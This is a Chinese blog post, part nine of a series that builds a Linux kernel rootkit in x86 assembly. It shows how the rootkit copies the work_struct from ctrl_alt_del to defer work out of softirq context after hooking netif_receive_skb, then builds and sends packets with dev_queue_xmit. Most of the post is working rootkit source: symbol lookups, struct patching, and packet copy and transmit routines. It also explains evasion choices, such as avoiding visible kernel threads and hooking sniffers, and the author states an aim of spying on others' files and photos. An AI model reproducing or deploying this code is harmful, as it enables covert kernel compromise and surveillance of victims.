rookit for linux 9.发送skb---使用工作队列

本文探讨了如何在Linux内核中通过复制已有的工作队列结构,利用工作队列发送skb(socket buffer)。文中详细介绍了如何从ctrl_alt_del函数中获取并修改work_struct结构,使其适用于发送skb的任务。此外,还提供了汇编代码示例,展示了如何在接收到数据包后将其发送出去。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

搞了一天,终于能发送skb了。不是这东西难搞,是汇编底子还是不行啊,大错不犯小错不断。这一个小错,那个一小错,一个小错调一个小时,一下一天就过去了。

虽然调试的时候很恼火,不过还是乐此不疲地写着汇编。就像一句名言说过“世界上有两类语言,有一些语言天天被人骂,有一些语言没有人用”。汇编就是属于这类语言。

 

好了,回忆一下上次是怎么接收skb的?对了,inline hook 了netif_receive_skb。那我们在 inline hook 中的代码也是跟 netif_receive_skb 一个上下文的-----软中断。这个软中断有啥问题呢?没错,问题可大了,软中断里的操作是原子的,不能调度,不能睡眠,不能停留太长时间。

但我们的rootkit是不愿意接受这个现实的,我们要进行的操作可多了,要读文件,写文件,还要偷窥别人照片。这些操作里必然有调度,睡眠。

咋的办?《linux 设备驱动程序》给出了答案---工作队列。工作队列的上下文是符合我们的rootkit的要求的。

对比了下代码,2.6.18 ~ 2.6.24 间 work_struct 这个数据结构发生了剧烈变化。在c语言里,用一个宏 DECLARE_WORK 就能声明一个工作队列。

这可苦了我们写汇编的,多少个版本啊,我们能一个一个地支持吗?当然不能,那是sb的想法。

 

我们的处理方法也是利用大杀器来做。

我们注意到一个角落里的函数 ctrl_alt_del 。看这函数的名字就知道它是几百年都不会被调用一次的函数了。

  1. void ctrl_alt_del(void)
  2. {
  3.     static DECLARE_WORK(cad_work, deferred_cad);
  4.     if (C_A_D)
  5.         schedule_work(&cad_work);
  6.     else
  7.         kill_cad_pid(SIGINT, 1);
  8. }

关键不是这个,关键是它的开头有一个初始化好了的 work_struct 结构,我们直接把它复制到我们自己的缓冲区了就能用了。

 

反汇编看看:

 

  1.    0:   a1 f0 a5 34 c0          mov    0xc034a5f0,%eax
  2.    5:   85 c0                   test   %eax,%eax
  3.    7:   74 0a                   je     0x13
  4.    9:   b8 9c a6 34 c0          mov    $0xc034a69c,%eax
  5.    e:   e9 5d 2d 00 00          jmp    0x2d70
  6.   13:   a1 44 4b 3c c0          mov    0xc03c4b44,%eax
  7.   18:   b9 01 00 00 00          mov    $0x1,%ecx
  8.   1d:   ba 02 00 00 00          mov    $0x2,%edx
  9.   22:   e9 19 dd ff ff          jmp    0xffffdd40
  10.   27:   89 f6                   mov    %esi,%esi
  11.   29:   8d bc 27 00 00 00 00    lea    0x0(%edi),%edi

第九行就是把 cad_work 这个参数传给 schedule_work 。然后调用schedule_work 。

我们直接用大杀器搜索操作码为 0xb8 的第一条指令就是了。

搜到以后把 cad_work 复制到我们自己的缓冲区里。

处理两个细节:

1.把 work_struct.entry 这个 list_head 设为空。搜索整个数据结构里内容等于地址的字段就行了,linux里的链表就是这样。

2.找到 work_struct.func 这个字段的偏移。只要搜索整个数据结构里内容等于deferred_cad的地址的字段就行了。

 

搞到这个 work_struct 之后,我们就能使用自己的工作队列了。使用的时候只需要把 work_struct.func 字段设为自己的函数的地址。然后调用 schedule_work 即可。

 

schedule_work 这个函数呢,是把参数 work_struct 挂在keventd_wq这个内核共享的工作队列里执行。

有人说“为啥我们不自己创建一个工作队列呢?”不行,工作队列的是用内核线程来实现的。而创建一个工作队列时,同时会创建 n 个内核线程,n 就等于你的cpu数量。而内核线程,在 bash 上用 ps -aux 这命令就能看到。你这样就是在捅马蜂窝啊!

 

所以解决了这些细节问题。我们就可以这样做了:

在接收到数据包的时候,把数据包的内容复到新申请的缓冲区里,然后调用 schedule_work 把发包的函数挂在共享的队列里,等待被执行。

 

怎么发包呢?

最终,网络层的函数会调用 dev_queue_xmit 这个函数发包。这个函数的内部可复杂了,一下lock一下unlock,还调用qdisc啥的。所以我们还是直接调用它算了。要注意的是,这个函数里会把 skb 克隆给 ptypes_all 上的嗅探器,每人一份。不过我们不怕,如果有嗅探器,我们早就把它hook了,如果没有,那就算了。

直接调用dev_queue_xmit这方法不是最好的,不过我尝试了直接调用 net_device->dev_hard_start_xmit 发包,结果不行。可能是没有解决同步的问题。

 

所以我们现在可以发包了!

 

贴代码贴代码

 

处理 work_struct 部分:

  1. struct_work_struct: .fill 0x100
  2. work_struct.func: .fill 4
  3. schedule_work: .fill 4
  4. // void kthread_init(); 
  5. kthread_init:
  6. #define retcode 0xc
  7.     PUSH_ALL
  8.     subl $0x10, %esp
  9.     movl $0, retcode(%esp)
  10.     GET_STR("schedule_work", %eax)
  11.     movl $13, %edx
  12.     call ksym_lookup
  13.     testl %eax, %eax
  14.     jz kthread_init_out_failed
  15.     GET_ADDR(schedule_work, %edx)
  16.     movl %eax, (%edx)
  17.     
  18.     GET_STR("ctrl_alt_del", %eax)
  19.     movl $12, %edx
  20.     call ksym_lookup
  21.     testl %eax, %eax
  22.     jz kthread_init_out_failed
  23.     movl %eax, %esi
  24.     leal 0x100(%esi), %edi
  25. 1:  movl %esi, %eax
  26.     GET_ADDR(struct_dism, %edx)
  27.     call xde_dism
  28.     testl %eax, %eax
  29.     jz kthread_init_out_failed
  30.     movl %eax, %ebp
  31.     movb dism_opcode(%edx), %al
  32.     cmpb $0xb8, %al
  33.     jz 3f
  34.         
  35.     addl %ebp, %esi
  36.     cmpl %edi, %esi
  37.     jl 1b
  38.     
  39. 3:  movl 1(%esi), %esi
  40.     movl %esi, %ebp
  41.     GET_ADDR(struct_work_struct, %edi)
  42.     movl $0x100, %ecx
  43.     cld; rep movsb
  44.     
  45.     GET_STR("deferred_cad", %eax)
  46.     movl $12, %edx
  47.     call ksym_lookup
  48.     testl %eax, %eax
  49.     jz kthread_init_out_failed
  50.     
  51.     GET_ADDR(struct_work_struct, %esi)
  52.     movl $0x100, %ecx
  53. 4:  cmpl %eax, (%esi)
  54.     jz 5f
  55.     cmpl %ebp, (%esi)
  56.     jnz 6f
  57.     movl %esi, (%esi)
  58.     movl %esi, 4(%esi)
  59. 6:  incl %esi
  60.     incl %ebp
  61.     loop 4b
  62.     jmp kthread_init_out_failed
  63. 5:  GET_ADDR(struct_work_struct, %edi)
  64.     subl %edi, %esi
  65.     GET_ADDR(work_struct.func, %eax)
  66.     movl %esi, (%eax)
  67. #ifdef _DEBUG_
  68.     movl %edi, 4(%esp)
  69.     movl %esi, 8(%esp)
  70.     DPRINT("<3>struct_work_struct %lx; work_struct.func %lx/n")
  71. #endif
  72. 2:
  73. kthread_init_out:
  74.     movl retcode(%esp), %eax
  75.     addl $0x10, %esp
  76.     POP_ALL
  77.     ret
  78. kthread_init_out_failed:
  79.     movl $1, retcode(%esp)
  80.     jmp kthread_init_out
  81. #undef retcode

接收skb部分:

 

 

 

 

 

  1.     // data_recv = __kmalloc(skb->len + 8, GFP_ATOMIC);
  2.     GET_STRUCT_VAL32(%esi, sk_buff.len, %ecx)
  3.     movl %ecx, %edi
  4.     leal 8(%ecx), %eax
  5.     movl $0x20, %edx
  6.     GET_VAL32(__kmalloc, %ebp)
  7.     call *%ebp
  8.     testl %eax, %eax
  9.     jz his_out
  10.     movl %eax, %ebx
  11.     SET_VAL32(data_recv, %ebx)
  12.     // put skb->len, skb->dev at the begining of data_recv
  13.     movl %edi, (%ebx)
  14.     GET_STRUCT_VAL32(%esi, sk_buff.dev, %eax)
  15.     movl %eax, 4(%ebx)
  16.     // memcpy(data_recv + 8, skb->data - 14, skb->len);
  17.     movl %edi, %ecx
  18.     leal 8(%ebx), %edi
  19.     GET_STRUCT_VAL32(%esi, sk_buff.data, %ebx)
  20.     leal -14(%ebx), %esi
  21.     cld; rep movsb
  22.     // struct_work_struct.func = thread_recv;
  23.     GET_ADDR(thread_recv, %ebx)
  24.     GET_ADDR(struct_work_struct, %ecx)
  25.     SET_STRUCT_VAL32(%ecx, work_struct.func, %ebx)
  26.     // schedule_work(struct_work_struct);
  27.     GET_VAL32(schedule_work, %ebp)
  28.     movl %ecx, %eax
  29.     call *%ebp

发送skb部分:

 

  1. // void thread_recv(void *data_recv);
  2. thread_recv:
  3.     PUSH_ALL
  4.     subl $0x10, %esp
  5. #ifdef _DEBUG_
  6.     DPRINT("<3>our pack/n")
  7. #endif
  8.     // skb = __netdev_alloc_skb(dev, 123, GFP_ATOMIC);
  9.     GET_VAL32(data_recv, %eax)
  10.     leal 0x8(%eax), %edi
  11.     movl $123, %edx
  12.     movl 4(%eax), %eax
  13.     movl $0x20, %ecx
  14.     GET_VAL32(__netdev_alloc_skb, %ebp)
  15.     call *%ebp
  16.     testl %eax, %eax
  17.     jz thread_recv_out
  18.     movl %eax, %esi
  19.     // skb->len = 123;
  20.     SET_STRUCT_VAL32(%esi, sk_buff.len, $123)
  21.     // skb->tail = skb->end;
  22.     GET_STRUCT_VAL32(%esi, sk_buff.end, %ebx)
  23.     SET_STRUCT_VAL32(%esi, sk_buff.tail, %ebx)
  24.     // memcpy(skb->data, data_recv + 0x8 + 6, 6);
  25.     GET_STRUCT_VAL32(%esi, sk_buff.data, %eax)
  26.     movl 6(%edi), %ebx
  27.     movw 10(%edi), %cx
  28.     movl %ebx, (%eax)
  29.     movw %cx, 4(%eax)
  30.     // memcpy(skb->data + 6, data_recv + 0x8, 6);
  31.     movl (%edi), %ebx
  32.     movw 4(%edi), %cx
  33.     movl %ebx, 6(%eax)
  34.     movw %cx, 10(%eax)
  35.     
  36.     // memcpy(skb->data + 14, "/x12/x34/x56/x78", 4);
  37.     movl $0x12345678, 14(%eax)
  38.     // dev_queue_xmit(skb);
  39.     GET_VAL32(dev_queue_xmit, %ebp)
  40.     movl %esi, %eax
  41.     call *%ebp
  42. #ifdef _DEBUG_
  43.     movl %eax, 4(%esp)
  44.     DPRINT("<3>sent %lx/n")
  45. #endif
  46. thread_recv_out:
  47.     addl $0x10, %esp
  48.     POP_ALL
  49.     ret

新定义的宏:

 

  1. #define EXPORT_LABEL(label) /
  2.     .globl label; label: 
  3. #define GET_ADDR(label, reg) /
  4.     call 999f;    /
  5.     999: popl reg;    /
  6.     subl $(999b - label), reg 
  7. #define GET_VAL32(label, reg)   /
  8.     GET_ADDR(label, reg);   /
  9.     movl (reg), reg;    
  10. #define SET_VAL32(label, val)   /
  11.     GET_ADDR(label, %eax);  /
  12.     movl val, (%eax);   
  13. #define GET_STR(str, reg)   /
  14.     call 1111f;   /
  15.     .asciz str; /
  16.     1111: popl reg 
  17. #define DPRINT(fmt)   /
  18.     GET_ADDR(printk, %eax);    /
  19.     movl (%eax), %eax;  /
  20.     GET_STR(fmt, %edx); /
  21.     movl %edx, (%esp);  /
  22.     call *%eax;
  23. #define GET_STRUCT_VAL32(base, offset, reg) /
  24.     GET_VAL32(offset, reg); /
  25.     movl 0(base, reg, 1), reg;
  26. #define SET_STRUCT_VAL32(base, offset, val) /
  27.     GET_VAL32(offset, %eax);    /
  28.     movl val, 0(base, %eax, 1); 
  29. #define PUSH_ALL    /
  30.     pushl %ebx; /
  31.     pushl %ecx; /
  32.     pushl %edx; /
  33.     pushl %esi; /
  34.     pushl %edi; /
  35.     pushl %ebp;
  36. #define POP_ALL /
  37.     popl %ebp;  /
  38.     popl %edi;  /
  39.     popl %esi;  /
  40.     popl %edx;  /
  41.     popl %ecx;  /
  42.     popl %ebx;

看看效果!

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值